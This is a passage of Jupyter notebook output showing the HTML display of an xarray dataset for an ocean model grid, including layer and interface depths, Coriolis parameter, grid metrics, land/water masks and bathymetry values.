4.66340430e+03, 4.67560352e+03, ...,\n", " 4.92420578e+00, 4.92420578e+00, 4.92420578e+00],\n", "...\n", " [4.70060170e-01, 4.68131304e-01, 4.60543156e-01, ...,\n", " 4.21839428e+00, 4.21023417e+00, 4.20655632e+00],\n", " [3.36907804e-01, 3.35697144e-01, 3.31871480e-01, ...,\n", " 4.23615551e+00, 4.22681570e+00, 4.22249842e+00],\n", " [3.36907804e-01, 3.35697144e-01, 3.31871480e-01, ...,\n", " 4.23615551e+00, 4.22681570e+00, 4.22249842e+00]],\n", "\n", " [[1.45557559e+00, 1.45577836e+00, 1.45616210e+00, ...,\n", " 2.45909728e-02, 2.45909728e-02, 2.45909728e-02],\n", " [1.45557559e+00, 1.45577836e+00, 1.45616210e+00, ...,\n", " 2.45909728e-02, 2.45909728e-02, 2.45909728e-02],\n", " [1.45560551e+00, 1.45578980e+00, 1.45613062e+00, ...,\n", " 2.45909728e-02, 2.45909728e-02, 2.45909728e-02],\n", " ...,\n", " [1.56614602e-01, 1.55972272e-01, 1.53445303e-01, ...,\n", " 1.36186707e+00, 1.35975814e+00, 1.35880530e+00],\n", " [1.12266719e-01, 1.11863434e-01, 1.10589050e-01, ...,\n", " 1.36642599e+00, 1.36403453e+00, 1.36292601e+00],\n", " [1.12266719e-01, 1.11863434e-01, 1.10589050e-01, ...,\n", " 1.36642599e+00, 1.36403453e+00, 1.36292601e+00]]], dtype=float32)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>layer_depth_v</span></div><div class='xr-var-dims'>(s_rho, eta_v, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>4.733e+03 4.733e+03 ... 1.363 1.363</div><input id='attrs-9ece9ee2-903f-42b9-8259-5d5ce7bc179e' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-9ece9ee2-903f-42b9-8259-5d5ce7bc179e' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-ae39c221-ceee-42c6-87d0-9ab778b4db65' class='xr-var-data-in' type='checkbox'><label for='data-ae39c221-ceee-42c6-87d0-9ab778b4db65' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Layer depth at v-points</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><pre>array([[[4.7333359e+03, 4.7333359e+03, 4.7480742e+03, ...,\n", " 4.9747515e+00, 4.9747515e+00, 4.9747515e+00],\n", " [4.7338779e+03, 4.7338779e+03, 4.7479487e+03, ...,\n", " 4.9747515e+00, 4.9747515e+00, 4.9747515e+00],\n", " [4.7334033e+03, 4.7334033e+03, 4.7461953e+03, ...,\n", " 4.9747515e+00, 4.9747515e+00, 4.9747515e+00],\n", " ...,\n", " [4.2519169e+01, 4.2519169e+01, 4.2095104e+01, ...,\n", " 2.4434814e+03, 2.4190081e+03, 2.4190081e+03],\n", " [2.9459253e+01, 2.9459253e+01, 2.9206587e+01, ...,\n", " 2.5048948e+03, 2.4742358e+03, 2.4742358e+03],\n", " [2.4138781e+01, 2.4138781e+01, 2.3951511e+01, ...,\n", " 2.5381111e+03, 2.5045449e+03, 2.5045449e+03]],\n", "\n", " [[4.6557490e+03, 4.6557490e+03, 4.6702402e+03, ...,\n", " 4.9242058e+00, 4.9242058e+00, 4.9242058e+00],\n", " [4.6562822e+03, 4.6562822e+03, 4.6701172e+03, ...,\n", " 4.9242058e+00, 4.9242058e+00, 4.9242058e+00],\n", " [4.6558154e+03, 4.6558154e+03, 4.6683931e+03, ...,\n", " 4.9242058e+00, 4.9242058e+00, 4.9242058e+00],\n", "...\n", " [5.5971700e-01, 5.5971700e-01, 5.5484843e-01, ...,\n", " 4.2063861e+00, 4.1998253e+00, 4.1998253e+00],\n", " [4.0348399e-01, 4.0348399e-01, 4.0034446e-01, ...,\n", " 4.2225227e+00, 4.2145271e+00, 4.2145271e+00],\n", " [3.3690780e-01, 3.3690780e-01, 3.3448648e-01, ...,\n", " 4.2311330e+00, 4.2224984e+00, 4.2224984e+00]],\n", "\n", " [[1.4555756e+00, 1.4555756e+00, 1.4559810e+00, ...,\n", " 2.4590973e-02, 2.4590973e-02, 2.4590973e-02],\n", " [1.4555905e+00, 1.4555905e+00, 1.4559776e+00, ...,\n", " 2.4590973e-02, 2.4590973e-02, 2.4590973e-02],\n", " [1.4555775e+00, 1.4555775e+00, 1.4559294e+00, ...,\n", " 2.4590973e-02, 2.4590973e-02, 2.4590973e-02],\n", " ...,\n", " [1.8646431e-01, 1.8646431e-01, 1.8484348e-01, ...,\n", " 1.3587573e+00, 1.3570520e+00, 1.3570520e+00],\n", " [1.3444066e-01, 1.3444066e-01, 1.3339505e-01, ...,\n", " 1.3629270e+00, 1.3608656e+00, 1.3608656e+00],\n", " [1.1226672e-01, 1.1226672e-01, 1.1146016e-01, ...,\n", " 1.3651431e+00, 1.3629260e+00, 1.3629260e+00]]], dtype=float32)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>interface_depth_rho</span></div><div class='xr-var-dims'>(s_w, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>4.771e+03 4.771e+03 ... -0.0 -0.0</div><input id='attrs-e2af7580-2b55-4ceb-892c-3fae8c68cf8f' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-e2af7580-2b55-4ceb-892c-3fae8c68cf8f' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-db8d8ae2-c387-4c1b-b290-b0824d3bcb67' class='xr-var-data-in' type='checkbox'><label for='data-db8d8ae2-c387-4c1b-b290-b0824d3bcb67' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Interface depth at rho-points</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><pre>array([[[ 4.7708042e+03, 4.7708042e+03, 4.7856616e+03, ...,\n", " 5.0000000e+00, 5.0000000e+00, 5.0000000e+00],\n", " [ 4.7708042e+03, 4.7708042e+03, 4.7856616e+03, ...,\n", " 5.0000000e+00, 5.0000000e+00, 5.0000000e+00],\n", " [ 4.7718965e+03, 4.7718965e+03, 4.7854082e+03, ...,\n", " 5.0000000e+00, 5.0000000e+00, 5.0000000e+00],\n", " ...,\n", " [ 3.4965626e+01, 3.4965626e+01, 3.4645771e+01, ...,\n", " 2.4908760e+03, 2.4629001e+03, 2.4629001e+03],\n", " [ 2.4265615e+01, 2.4265615e+01, 2.4077322e+01, ...,\n", " 2.5578440e+03, 2.5240071e+03, 2.5240071e+03],\n", " [ 2.4265615e+01, 2.4265615e+01, 2.4077322e+01, ...,\n", " 2.5578440e+03, 2.5240071e+03, 2.5240071e+03]],\n", "\n", " [[ 4.6949761e+03, 4.6949761e+03, 4.7095923e+03, ...,\n", " 4.9494867e+00, 4.9494867e+00, 4.9494867e+00],\n", " [ 4.6949761e+03, 4.6949761e+03, 4.7095923e+03, ...,\n", " 4.9494867e+00, 4.9494867e+00, 4.9494867e+00],\n", " [ 4.6960513e+03, 4.6960513e+03, 4.7093433e+03, ...,\n", " 4.9494867e+00, 4.9494867e+00, 4.9494867e+00],\n", "...\n", " [ 3.1330130e-01, 3.1330130e-01, 3.1073073e-01, ...,\n", " 2.7653356e+00, 2.7609782e+00, 2.7609782e+00],\n", " [ 2.2456931e-01, 2.2456931e-01, 2.2295564e-01, ...,\n", " 2.7755077e+00, 2.7704127e+00, 2.7704127e+00],\n", " [ 2.2456931e-01, 2.2456931e-01, 2.2295564e-01, ...,\n", " 2.7755077e+00, 2.7704127e+00, 2.7704127e+00]],\n", "\n", " [[-0.0000000e+00, -0.0000000e+00, -0.0000000e+00, ...,\n", " -0.0000000e+00, -0.0000000e+00, -0.0000000e+00],\n", " [-0.0000000e+00, -0.0000000e+00, -0.0000000e+00, ...,\n", " -0.0000000e+00, -0.0000000e+00, -0.0000000e+00],\n", " [-0.0000000e+00, -0.0000000e+00, -0.0000000e+00, ...,\n", " -0.0000000e+00, -0.0000000e+00, -0.0000000e+00],\n", " ...,\n", " [-0.0000000e+00, -0.0000000e+00, -0.0000000e+00, ...,\n", " -0.0000000e+00, -0.0000000e+00, -0.0000000e+00],\n", " [-0.0000000e+00, -0.0000000e+00, -0.0000000e+00, ...,\n", " -0.0000000e+00, -0.0000000e+00, -0.0000000e+00],\n", " [-0.0000000e+00, -0.0000000e+00, -0.0000000e+00, ...,\n", " -0.0000000e+00, -0.0000000e+00, -0.0000000e+00]]], dtype=float32)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>interface_depth_u</span></div><div class='xr-var-dims'>(s_w, eta_rho, xi_u)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>4.771e+03 4.778e+03 ... -0.0 -0.0</div><input id='attrs-0dbcde9a-6416-41b3-98fd-c11ba200b073' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-0dbcde9a-6416-41b3-98fd-c11ba200b073' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-ba17945c-227e-4faf-8ceb-61ebc36c7254' class='xr-var-data-in' type='checkbox'><label for='data-ba17945c-227e-4faf-8ceb-61ebc36c7254' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Interface depth at u-points</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><pre>array([[[ 4.7708042e+03, 4.7782329e+03, 4.7923188e+03, ...,\n", " 5.0000000e+00, 5.0000000e+00, 5.0000000e+00],\n", " [ 4.7708042e+03, 4.7782329e+03, 4.7923188e+03, ...,\n", " 5.0000000e+00, 5.0000000e+00, 5.0000000e+00],\n", " [ 4.7718965e+03, 4.7786523e+03, 4.7911602e+03, ...,\n", " 5.0000000e+00, 5.0000000e+00, 5.0000000e+00],\n", " ...,\n", " [ 3.4965626e+01, 3.4805698e+01, 3.4178288e+01, ...,\n", " 2.5081775e+03, 2.4768882e+03, 2.4629001e+03],\n", " [ 2.4265615e+01, 2.4171469e+01, 2.3874336e+01, ...,\n", " 2.5778579e+03, 2.5409255e+03, 2.5240071e+03],\n", " [ 2.4265615e+01, 2.4171469e+01, 2.3874336e+01, ...,\n", " 2.5778579e+03, 2.5409255e+03, 2.5240071e+03]],\n", "\n", " [[ 4.6949761e+03, 4.7022842e+03, 4.7161416e+03, ...,\n", " 4.9494867e+00, 4.9494867e+00, 4.9494867e+00],\n", " [ 4.6949761e+03, 4.7022842e+03, 4.7161416e+03, ...,\n", " 4.9494867e+00, 4.9494867e+00, 4.9494867e+00],\n", " [ 4.6960513e+03, 4.7026973e+03, 4.7150015e+03, ...,\n", " 4.9494867e+00, 4.9494867e+00, 4.9494867e+00],\n", "...\n", " [ 3.1330130e-01, 3.1201601e-01, 3.0695966e-01, ...,\n", " 2.7679858e+00, 2.7631569e+00, 2.7609782e+00],\n", " [ 2.2456931e-01, 2.2376248e-01, 2.2121286e-01, ...,\n", " 2.7784648e+00, 2.7729602e+00, 2.7704127e+00],\n", " [ 2.2456931e-01, 2.2376248e-01, 2.2121286e-01, ...,\n", " 2.7784648e+00, 2.7729602e+00, 2.7704127e+00]],\n", "\n", " [[-0.0000000e+00, -0.0000000e+00, -0.0000000e+00, ...,\n", " -0.0000000e+00, -0.0000000e+00, -0.0000000e+00],\n", " [-0.0000000e+00, -0.0000000e+00, -0.0000000e+00, ...,\n", " -0.0000000e+00, -0.0000000e+00, -0.0000000e+00],\n", " [-0.0000000e+00, -0.0000000e+00, -0.0000000e+00, ...,\n", " -0.0000000e+00, -0.0000000e+00, -0.0000000e+00],\n", " ...,\n", " [-0.0000000e+00, -0.0000000e+00, -0.0000000e+00, ...,\n", " -0.0000000e+00, -0.0000000e+00, -0.0000000e+00],\n", " [-0.0000000e+00, -0.0000000e+00, -0.0000000e+00, ...,\n", " -0.0000000e+00, -0.0000000e+00, -0.0000000e+00],\n", " [-0.0000000e+00, -0.0000000e+00, -0.0000000e+00, ...,\n", " -0.0000000e+00, -0.0000000e+00, -0.0000000e+00]]], dtype=float32)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>interface_depth_v</span></div><div class='xr-var-dims'>(s_w, eta_v, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>4.771e+03 4.771e+03 ... -0.0 -0.0</div><input id='attrs-a7a1d96e-ec59-44ea-8974-84b0d876b071' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-a7a1d96e-ec59-44ea-8974-84b0d876b071' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-559fbed3-9e38-426c-a806-bbdf17e9afa9' class='xr-var-data-in' type='checkbox'><label for='data-559fbed3-9e38-426c-a806-bbdf17e9afa9' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Interface depth at v-points</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><pre>array([[[ 4.7708042e+03, 4.7708042e+03, 4.7856616e+03, ...,\n", " 5.0000000e+00, 5.0000000e+00, 5.0000000e+00],\n", " [ 4.7713501e+03, 4.7713501e+03, 4.7855352e+03, ...,\n", " 5.0000000e+00, 5.0000000e+00, 5.0000000e+00],\n", " [ 4.7708721e+03, 4.7708721e+03, 4.7837676e+03, ...,\n", " 5.0000000e+00, 5.0000000e+00, 5.0000000e+00],\n", " ...,\n", " [ 4.2749500e+01, 4.2749500e+01, 4.2322990e+01, ...,\n", " 2.4624514e+03, 2.4377808e+03, 2.4377808e+03],\n", " [ 2.9615620e+01, 2.9615620e+01, 2.9361547e+01, ...,\n", " 2.5243599e+03, 2.4934536e+03, 2.4934536e+03],\n", " [ 2.4265615e+01, 2.4265615e+01, 2.4077322e+01, ...,\n", " 2.5578440e+03, 2.5240071e+03, 2.5240071e+03]],\n", "\n", " [[ 4.6949761e+03, 4.6949761e+03, 4.7095923e+03, ...,\n", " 4.9494867e+00, 4.9494867e+00, 4.9494867e+00],\n", " [ 4.6955137e+03, 4.6955137e+03, 4.7094678e+03, ...,\n", " 4.9494867e+00, 4.9494867e+00, 4.9494867e+00],\n", " [ 4.6950430e+03, 4.6950430e+03, 4.7077290e+03, ...,\n", " 4.9494867e+00, 4.9494867e+00, 4.9494867e+00],\n", "...\n", " [ 3.7303659e-01, 3.7303659e-01, 3.6979294e-01, ...,\n", " 2.7608733e+00, 2.7569814e+00, 2.7569814e+00],\n", " [ 2.6893532e-01, 2.6893532e-01, 2.6684320e-01, ...,\n", " 2.7704217e+00, 2.7656956e+00, 2.7656956e+00],\n", " [ 2.2456931e-01, 2.2456931e-01, 2.2295564e-01, ...,\n", " 2.7755077e+00, 2.7704127e+00, 2.7704127e+00]],\n", "\n", " [[-0.0000000e+00, -0.0000000e+00, -0.0000000e+00, ...,\n", " -0.0000000e+00, -0.0000000e+00, -0.0000000e+00],\n", " [-0.0000000e+00, -0.0000000e+00, -0.0000000e+00, ...,\n", " -0.0000000e+00, -0.0000000e+00, -0.0000000e+00],\n", " [-0.0000000e+00, -0.0000000e+00, -0.0000000e+00, ...,\n", " -0.0000000e+00, -0.0000000e+00, -0.0000000e+00],\n", " ...,\n", " [-0.0000000e+00, -0.0000000e+00, -0.0000000e+00, ...,\n", " -0.0000000e+00, -0.0000000e+00, -0.0000000e+00],\n", " [-0.0000000e+00, -0.0000000e+00, -0.0000000e+00, ...,\n", " -0.0000000e+00, -0.0000000e+00, -0.0000000e+00],\n", " [-0.0000000e+00, -0.0000000e+00, -0.0000000e+00, ...,\n", " -0.0000000e+00, -0.0000000e+00, -0.0000000e+00]]], dtype=float32)</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-b362f67c-1537-4658-b3d3-dae0b54ef692' class='xr-section-summary-in' type='checkbox' checked><label for='section-b362f67c-1537-4658-b3d3-dae0b54ef692' class='xr-section-summary' >Data variables: <span>(13)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>angle</span></div><div class='xr-var-dims'>(eta_rho, xi_rho)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>0.4177 0.4177 ... 0.1146 0.1146</div><input id='attrs-a23df438-2612-480d-bd3d-99964310e304' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-a23df438-2612-480d-bd3d-99964310e304' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-b68dc28d-2a90-46a8-a8b5-7beb085a614e' class='xr-var-data-in' type='checkbox'><label for='data-b68dc28d-2a90-46a8-a8b5-7beb085a614e' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Angle between xi axis and east</dd><dt><span>units :</span></dt><dd>radians</dd></dl></div><div class='xr-var-data'><pre>array([[0.41765867, 0.41765867, 0.41481305, ..., 0.09550036, 0.09192057,\n", " 0.09192057],\n", " [0.41986851, 0.41986851, 0.41700609, ..., 0.09544293, 0.09183557,\n", " 0.09183557],\n", " [0.42209839, 0.42209839, 0.41921913, ..., 0.09538876, 0.09175356,\n", " 0.09175356],\n", " ...,\n", " [0.79657034, 0.79657034, 0.7922268 , ..., 0.12202092, 0.11285783,\n", " 0.11285783],\n", " [0.80300689, 0.80300689, 0.79866181, ..., 0.12301416, 0.11372869,\n", " 0.11372869],\n", " [0.80952178, 0.80952178, 0.80517594, ..., 0.12404033, 0.11462949,\n", " 0.11462949]])</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>f</span></div><div class='xr-var-dims'>(eta_rho, xi_rho)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>0.0001078 0.0001079 ... 0.0001395</div><input id='attrs-70482bbf-3951-41ef-be6b-a7a226dd4654' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-70482bbf-3951-41ef-be6b-a7a226dd4654' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-041e51b3-72a8-4220-8e18-cafe73b28af0' class='xr-var-data-in' type='checkbox'><label for='data-041e51b3-72a8-4220-8e18-cafe73b28af0' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Coriolis parameter at rho-points</dd><dt><span>units :</span></dt><dd>second-1</dd></dl></div><div class='xr-var-data'><pre>array([[0.00010781, 0.00010793, 0.00010804, ..., 0.00011463, 0.00011465,\n", " 0.00011467],\n", " [0.00010815, 0.00010826, 0.00010837, ..., 0.00011496, 0.00011498,\n", " 0.000115 ],\n", " [0.00010848, 0.00010859, 0.0001087 , ..., 0.00011529, 0.00011531,\n", " 0.00011533],\n", " ...,\n", " [0.00013231, 0.00013243, 0.00013255, ..., 0.00013914, 0.00013915,\n", " 0.00013917],\n", " [0.00013246, 0.00013258, 0.0001327 , ..., 0.00013929, 0.00013931,\n", " 0.00013932],\n", " [0.00013262, 0.00013274, 0.00013286, ..., 0.00013945, 0.00013946,\n", " 0.00013947]])</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>pm</span></div><div class='xr-var-dims'>(eta_rho, xi_rho)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>4.209e-05 4.208e-05 ... 4.209e-05</div><input id='attrs-c94828b1-4ebf-4318-a145-a5e8f98bc3a7' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-c94828b1-4ebf-4318-a145-a5e8f98bc3a7' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-1ae4b425-2d18-487c-b16e-a72fe2881016' class='xr-var-data-in' type='checkbox'><label for='data-1ae4b425-2d18-487c-b16e-a72fe2881016' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Curvilinear coordinate metric in xi-direction</dd><dt><span>units :</span></dt><dd>meter-1</dd></dl></div><div class='xr-var-data'><pre>array([[4.20942986e-05, 4.20775028e-05, 4.20610452e-05, ...,\n", " 4.20610452e-05, 4.20775028e-05, 4.20942986e-05],\n", " [4.20942986e-05, 4.20775028e-05, 4.20610452e-05, ...,\n", " 4.20610452e-05, 4.20775028e-05, 4.20942986e-05],\n", " [4.20942986e-05, 4.20775028e-05, 4.20610452e-05, ...,\n", " 4.20610452e-05, 4.20775028e-05, 4.20942986e-05],\n", " ...,\n", " [4.20942986e-05, 4.20775028e-05, 4.20610452e-05, ...,\n", " 4.20610452e-05, 4.20775028e-05, 4.20942986e-05],\n", " [4.20942986e-05, 4.20775028e-05, 4.20610452e-05, ...,\n", " 4.20610452e-05, 4.20775028e-05, 4.20942986e-05],\n", " [4.20942986e-05, 4.20775028e-05, 4.20610452e-05, ...,\n", " 4.20610452e-05, 4.20775028e-05, 4.20942986e-05]])</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>pn</span></div><div class='xr-var-dims'>(eta_rho, xi_rho)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>5.592e-05 5.592e-05 ... 5.592e-05</div><input id='attrs-c7d91522-72ae-4012-bb3f-319be91ba8a4' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-c7d91522-72ae-4012-bb3f-319be91ba8a4' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-280bfac6-50dd-496f-8b7a-c9660282cb05' class='xr-var-data-in' type='checkbox'><label for='data-280bfac6-50dd-496f-8b7a-c9660282cb05' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Curvilinear coordinate metric in eta-direction</dd><dt><span>units :</span></dt><dd>meter-1</dd></dl></div><div class='xr-var-data'><pre>array([[5.59165173e-05, 5.59165173e-05, 5.58946471e-05, ...,\n", " 5.58946471e-05, 5.59165173e-05, 5.59165173e-05],\n", " [5.59165172e-05, 5.59165172e-05, 5.58946470e-05, ...,\n", " 5.58946470e-05, 5.59165172e-05, 5.59165172e-05],\n", " [5.59165171e-05, 5.59165171e-05, 5.58946469e-05, ...,\n", " 5.58946469e-05, 5.59165171e-05, 5.59165171e-05],\n", " ...,\n", " [5.59165171e-05, 5.59165171e-05, 5.58946469e-05, ...,\n", " 5.58946469e-05, 5.59165171e-05, 5.59165171e-05],\n", " [5.59165172e-05, 5.59165172e-05, 5.58946470e-05, ...,\n", " 5.58946470e-05, 5.59165172e-05, 5.59165172e-05],\n", " [5.59165173e-05, 5.59165173e-05, 5.58946471e-05, ...,\n", " 5.58946471e-05, 5.59165173e-05, 5.59165173e-05]])</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>spherical</span></div><div class='xr-var-dims'>()</div><div class='xr-var-dtype'>|S1</div><div class='xr-var-preview xr-preview'>b&#x27;T&#x27;</div><input id='attrs-7852fce6-bffd-4338-8952-a9194d9e1968' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-7852fce6-bffd-4338-8952-a9194d9e1968' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-02beb8e0-84ca-4184-889d-8e72f6067368' class='xr-var-data-in' type='checkbox'><label for='data-02beb8e0-84ca-4184-889d-8e72f6067368' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>Long_name :</span></dt><dd>Grid type logical switch</dd><dt><span>option_T :</span></dt><dd>spherical</dd></dl></div><div class='xr-var-data'><pre>array(b&#x27;T&#x27;, dtype=&#x27;|S1&#x27;)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>mask_rho</span></div><div class='xr-var-dims'>(eta_rho, xi_rho)</div><div class='xr-var-dtype'>int32</div><div class='xr-var-preview xr-preview'>1 1 1 1 1 1 1 1 ... 1 1 1 1 1 1 1 1</div><input id='attrs-7b19460d-1c55-484d-98c0-94164d90e381' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-7b19460d-1c55-484d-98c0-94164d90e381' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-f397119d-eb30-4157-8373-1eef8700702c' class='xr-var-data-in' type='checkbox'><label for='data-f397119d-eb30-4157-8373-1eef8700702c' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Mask at rho-points</dd><dt><span>units :</span></dt><dd>land/water (0/1)</dd></dl></div><div class='xr-var-data'><pre>array([[1, 1, 1, ..., 0, 0, 0],\n", " [1, 1, 1, ..., 0, 0, 0],\n", " [1, 1, 1, ..., 0, 0, 0],\n", " ...,\n", " [1, 1, 0, ..., 1, 1, 1],\n", " [1, 1, 0, ..., 1, 1, 1],\n", " [1, 1, 0, ..., 1, 1, 1]], dtype=int32)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>mask_u</span></div><div class='xr-var-dims'>(eta_rho, xi_u)</div><div class='xr-var-dtype'>int32</div><div class='xr-var-preview xr-preview'>1 1 1 1 1 1 1 1 ... 1 1 1 1 1 1 1 1</div><input id='attrs-2cb157b6-93e7-4255-8689-0e8f5978a990' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-2cb157b6-93e7-4255-8689-0e8f5978a990' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-0650c68c-99a7-4380-8c9a-0a1b33e63885' class='xr-var-data-in' type='checkbox'><label for='data-0650c68c-99a7-4380-8c9a-0a1b33e63885' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Mask at u-points</dd><dt><span>units :</span></dt><dd>land/water (0/1)</dd></dl></div><div class='xr-var-data'><pre>array([[1, 1, 1, ..., 0, 0, 0],\n", " [1, 1, 1, ..., 0, 0, 0],\n", " [1, 1, 1, ..., 0, 0, 0],\n", " ...,\n", " [1, 0, 0, ..., 1, 1, 1],\n", " [1, 0, 0, ..., 1, 1, 1],\n", " [1, 0, 0, ..., 1, 1, 1]], dtype=int32)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>mask_v</span></div><div class='xr-var-dims'>(eta_v, xi_rho)</div><div class='xr-var-dtype'>int32</div><div class='xr-var-preview xr-preview'>1 1 1 1 1 1 1 1 ... 1 1 1 1 1 1 1 1</div><input id='attrs-e74a8940-f437-4931-adc5-ea91d3779720' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-e74a8940-f437-4931-adc5-ea91d3779720' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-0c97606d-a4dd-4114-9460-3ade26e5b36e' class='xr-var-data-in' type='checkbox'><label for='data-0c97606d-a4dd-4114-9460-3ade26e5b36e' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Mask at v-points</dd><dt><span>units :</span></dt><dd>land/water (0/1)</dd></dl></div><div class='xr-var-data'><pre>array([[1, 1, 1, ..., 0, 0, 0],\n", " [1, 1, 1, ..., 0, 0, 0],\n", " [1, 1, 1, ..., 0, 0, 0],\n", " ...,\n", " [1, 1, 0, ..., 1, 1, 1],\n", " [1, 1, 0, ..., 1, 1, 1],\n", " [1, 1, 0, ..., 1, 1, 1]], dtype=int32)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>h</span></div><div class='xr-var-dims'>(eta_rho, xi_rho)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>4.771e+03 4.771e+03 ... 2.524e+03</div><input id='attrs-03446bcc-89b6-43cb-939b-63e8d563ffc0' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-03446bcc-89b6-43cb-939b-63e8d563ffc0' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-fb06ad0d-5814-439e-ac2f-15066c62ce7c' class='xr-var-data-in' type='checkbox'><label for='data-fb06ad0d-5814-439e-ac2f-15066c62ce7c' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Final bathymetry at rho-points</dd><dt><span>units :</span></dt><dd>meter</dd></dl></div><div class='xr-var-data'><pre>array([[4770.80399645, 4770.80399645, 4785.66145936, ..., 5. ,\n", " 5. , 5. ],\n", " [4770.80399645, 4770.80399645, 4785.66145936, ..., 5. ,\n", " 5. , 5. ],\n", " [4771.89667995, 4771.89667995, 